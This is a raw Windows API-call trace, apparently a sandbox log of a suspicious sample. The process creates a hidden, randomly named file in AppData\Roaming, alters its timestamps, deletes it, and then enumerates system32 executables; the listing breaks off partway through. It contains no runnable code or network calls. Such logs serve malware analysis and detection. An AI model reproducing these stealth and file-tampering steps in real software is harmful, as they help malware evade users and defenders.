MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x38c240, cbMultiByte=7, lpWideCharStr=0x38e950, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0030.367] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e9d8 [0030.367] RegQueryValueExW (in: hKey=0xec, lpValueName="AppData", lpReserved=0x0, lpType=0x18f8c0, lpData=0x0, lpcbData=0x18f8d0*=0x0 | out: lpType=0x18f8c0*=0x1, lpData=0x0, lpcbData=0x18f8d0*=0x5c) returned 0x0 [0030.367] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0030.367] RegQueryValueExW (in: hKey=0xec, lpValueName="AppData", lpReserved=0x0, lpType=0x18f8c0, lpData=0x38e950, lpcbData=0x18f8d0*=0x5c | out: lpType=0x18f8c0*=0x1, lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", lpcbData=0x18f8d0*=0x5c) returned 0x0 [0030.367] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", lpszShortPath=0x1d93958, cchBuffer=0x200 | out: lpszShortPath="C:\\Users\\5P5NRG~1\\AppData\\Roaming") returned 0x21 [0030.367] RegCloseKey (hKey=0xec) returned 0x0 [0030.367] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0030.367] CryptAcquireContextW (in: phProv=0x18f954, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f954*=0x8c36a0) returned 1 [0030.368] CryptGenRandom (in: hProv=0x8c36a0, dwLen=0x4, pbBuffer=0x18f968 | out: pbBuffer=0x18f968) returned 1 [0030.368] CryptReleaseContext (hProv=0x8c36a0, dwFlags=0x0) returned 1 [0030.368] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0030.368] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x8c36a0) returned 1 [0030.369] CryptGenRandom (in: hProv=0x8c36a0, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0030.369] CryptReleaseContext (hProv=0x8c36a0, dwFlags=0x0) returned 1 [0030.369] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x8c36a0) returned 1 [0030.370] CryptGenRandom (in: hProv=0x8c36a0, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0030.370] CryptReleaseContext (hProv=0x8c36a0, dwFlags=0x0) returned 1 [0030.370] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x8c36a0) returned 1 [0030.371] CryptGenRandom (in: hProv=0x8c36a0, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0030.371] CryptReleaseContext (hProv=0x8c36a0, dwFlags=0x0) returned 1 [0030.371] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x8c36a0) returned 1 [0030.372] CryptGenRandom (in: hProv=0x8c36a0, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0030.372] CryptReleaseContext (hProv=0x8c36a0, dwFlags=0x0) returned 1 [0030.372] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x8c36a0) returned 1 [0030.372] CryptGenRandom (in: hProv=0x8c36a0, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0030.372] CryptReleaseContext (hProv=0x8c36a0, dwFlags=0x0) returned 1 [0030.372] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x8c36a0) returned 1 [0030.373] CryptGenRandom (in: hProv=0x8c36a0, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0030.373] CryptReleaseContext (hProv=0x8c36a0, dwFlags=0x0) returned 1 [0030.373] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x8c36a0) returned 1 [0030.374] CryptGenRandom (in: hProv=0x8c36a0, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0030.374] CryptReleaseContext (hProv=0x8c36a0, dwFlags=0x0) returned 1 [0030.374] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x8c36a0) returned 1 [0030.375] CryptGenRandom (in: hProv=0x8c36a0, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0030.375] CryptReleaseContext (hProv=0x8c36a0, dwFlags=0x0) returned 1 [0030.375] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x8c36a0) returned 1 [0030.376] CryptGenRandom (in: hProv=0x8c36a0, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0030.376] CryptReleaseContext (hProv=0x8c36a0, dwFlags=0x0) returned 1 [0030.376] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x8c36a0) returned 1 [0030.376] CryptGenRandom (in: hProv=0x8c36a0, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0030.376] CryptReleaseContext (hProv=0x8c36a0, dwFlags=0x0) returned 1 [0030.376] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x8c36a0) returned 1 [0030.377] CryptGenRandom (in: hProv=0x8c36a0, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0030.377] CryptReleaseContext (hProv=0x8c36a0, dwFlags=0x0) returned 1 [0030.377] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x8c36a0) returned 1 [0030.378] CryptGenRandom (in: hProv=0x8c36a0, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0030.378] CryptReleaseContext (hProv=0x8c36a0, dwFlags=0x0) returned 1 [0030.378] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x8c36a0) returned 1 [0030.379] CryptGenRandom (in: hProv=0x8c36a0, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0030.379] CryptReleaseContext (hProv=0x8c36a0, dwFlags=0x0) returned 1 [0030.379] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x8c36a0) returned 1 [0030.380] CryptGenRandom (in: hProv=0x8c36a0, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0030.380] CryptReleaseContext (hProv=0x8c36a0, dwFlags=0x0) returned 1 [0030.380] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x8c36a0) returned 1 [0030.381] CryptGenRandom (in: hProv=0x8c36a0, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0030.381] CryptReleaseContext (hProv=0x8c36a0, dwFlags=0x0) returned 1 [0030.381] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x8c36a0) returned 1 [0030.381] CryptGenRandom (in: hProv=0x8c36a0, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0030.382] CryptReleaseContext (hProv=0x8c36a0, dwFlags=0x0) returned 1 [0030.382] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x8c36a0) returned 1 [0030.382] CryptGenRandom (in: hProv=0x8c36a0, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0030.382] CryptReleaseContext (hProv=0x8c36a0, dwFlags=0x0) returned 1 [0030.382] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x8c36a0) returned 1 [0030.383] CryptGenRandom (in: hProv=0x8c36a0, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0030.383] CryptReleaseContext (hProv=0x8c36a0, dwFlags=0x0) returned 1 [0030.383] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x8c36a0) returned 1 [0030.384] CryptGenRandom (in: hProv=0x8c36a0, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0030.384] CryptReleaseContext (hProv=0x8c36a0, dwFlags=0x0) returned 1 [0030.384] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x8c36a0) returned 1 [0030.385] CryptGenRandom (in: hProv=0x8c36a0, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0030.385] CryptReleaseContext (hProv=0x8c36a0, dwFlags=0x0) returned 1 [0030.385] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x8c36a0) returned 1 [0030.385] CryptGenRandom (in: hProv=0x8c36a0, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0030.385] CryptReleaseContext (hProv=0x8c36a0, dwFlags=0x0) returned 1 [0030.385] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x8c36a0) returned 1 [0030.386] CryptGenRandom (in: hProv=0x8c36a0, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0030.386] CryptReleaseContext (hProv=0x8c36a0, dwFlags=0x0) returned 1 [0030.386] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x8c36a0) returned 1 [0030.387] CryptGenRandom (in: hProv=0x8c36a0, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0030.387] CryptReleaseContext (hProv=0x8c36a0, dwFlags=0x0) returned 1 [0030.387] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x8c36a0) returned 1 [0030.388] CryptGenRandom (in: hProv=0x8c36a0, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0030.388] CryptReleaseContext (hProv=0x8c36a0, dwFlags=0x0) returned 1 [0030.388] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x8c36a0) returned 1 [0030.389] CryptGenRandom (in: hProv=0x8c36a0, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0030.389] CryptReleaseContext (hProv=0x8c36a0, dwFlags=0x0) returned 1 [0030.389] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0030.389] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0030.389] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\oUScAnXfp29Rf" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\ouscanxfp29rf"), fInfoLevelId=0x0, lpFileInformation=0x18f91c | out: lpFileInformation=0x18f91c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x408ae7, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x18fc6c, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x18f9b4)) returned 0 [0030.390] GetLastError () returned 0x2 [0030.390] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\oUScAnXfp29Rf" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\ouscanxfp29rf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xec [0030.397] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x18f960, lpLastWriteTime=0x18f960) returned 1 [0030.397] NtClose (Handle=0xec) returned 0x0 [0030.398] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x800) returned 0x1d93958 [0030.398] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\oUScAnXfp29Rf", lpszShortPath=0x1d93958, cchBuffer=0x200 | out: lpszShortPath="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\OUSCAN~1") returned 0x2a [0030.398] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\oUScAnXfp29Rf" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\ouscanxfp29rf"), fInfoLevelId=0x0, lpFileInformation=0x18f95c | out: lpFileInformation=0x18f95c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x60b92e30, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x60b92e30, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x60b92e30, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0030.398] SetFileAttributesW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\oUScAnXfp29Rf", dwFileAttributes=0x80) returned 1 [0030.399] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\oUScAnXfp29Rf" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\ouscanxfp29rf")) returned 1 [0030.399] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x1d93958) returned 1 [0030.399] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0030.399] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x1d92d60 [0030.399] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x100) returned 0x1d92850 [0030.399] GetSystemDirectoryW (in: lpBuffer=0x1d92850, uSize=0x40 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0030.399] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x1d92850) returned 1 [0030.400] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0030.400] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.400] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e9d8 [0030.400] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\*.exe", fInfoLevelId=0x1, lpFindFileData=0x18fa00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18fa00) returned 0x8b27a8 [0030.400] CryptAcquireContextW (in: phProv=0x18f970, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f970*=0x8c36a0) returned 1 [0030.401] CryptGenRandom (in: hProv=0x8c36a0, dwLen=0x4, pbBuffer=0x18f984 | out: pbBuffer=0x18f984) returned 1 [0030.401] CryptReleaseContext (hProv=0x8c36a0, dwFlags=0x0) returned 1 [0030.401] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f389923, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f389923, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f389923, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="aitagent.exe", cAlternateFileName="")) returned 1 [0030.404] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41f8f016, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x41f8f016, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xd9897070, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="alg.exe", cAlternateFileName="")) returned 1 [0030.405] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22f4ae5, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x22f4ae5, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xd99a1240, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="appidcertstorecheck.exe", cAlternateFileName="")) returned 1 [0030.405] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9cf143, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xb9cf143, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xd9a5f920, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x23e00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="appidpolicyconverter.exe", cAlternateFileName="")) returned 1 [0030.405] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a17d73, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x84a17d73, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xd9ad2510, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="ARP.EXE", cAlternateFileName="")) returned 1 [0030.405] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fa1c868, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x1fa1c868, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xd9b45100, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="at.exe", cAlternateFileName="")) returned 1 [0030.405] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc10ef45b, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc10ef45b, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xd9b90bf0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="AtBroker.exe", cAlternateFileName="")) returned 1 [0030.405] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xd9b90bf0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="attrib.exe", cAlternateFileName="")) returned 1 [0030.405] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d6dcfc6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d6dcfc6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d703126, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1ee00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="audiodg.exe", cAlternateFileName="")) returned 1 [0030.405] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9850cda, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xb9850cda, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xd9c9adc0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="auditpol.exe", cAlternateFileName="")) returned 1 [0030.405] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a59e84b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9a59e84b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9a5eab0c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xbde00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="autochk.exe", cAlternateFileName="")) returned 1 [0030.405] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e31ba3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97e31ba3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x97e7de63, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc1a00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="autoconv.exe", cAlternateFileName="")) returned 1 [0030.405] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a14e063, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9a14e063, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9a1741c4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xba800, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="autofmt.exe", cAlternateFileName="")) returned 1 [0030.405] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa917cb2, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xaa917cb2, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xda2b55c0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="AxInstUI.exe", cAlternateFileName="")) returned 1 [0030.405] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad77102, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ad77102, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad77102, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2ae00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="bcdboot.exe", cAlternateFileName="")) returned 1 [0030.405] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9716654b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9716654b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x973a19ef, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x54800, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="bcdedit.exe", cAlternateFileName="")) returned 1 [0030.405] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc17bc305, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xc17bc305, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xda694920, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xbe00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="BdeUISrv.exe", cAlternateFileName="")) returned 1 [0030.405] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc086969a, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xc086969a, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xda72bf00, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="BdeUnlockWizard.exe", cAlternateFileName="")) returned 1 [0030.405] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x868bb544, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x868bb544, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x868e16a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38c00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="bitsadmin.exe", cAlternateFileName="")) returned 1 [0030.405] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a941698, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x6a941698, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdaba2840, ftLastWriteTime.dwHighDateTime=0x1ca0423, 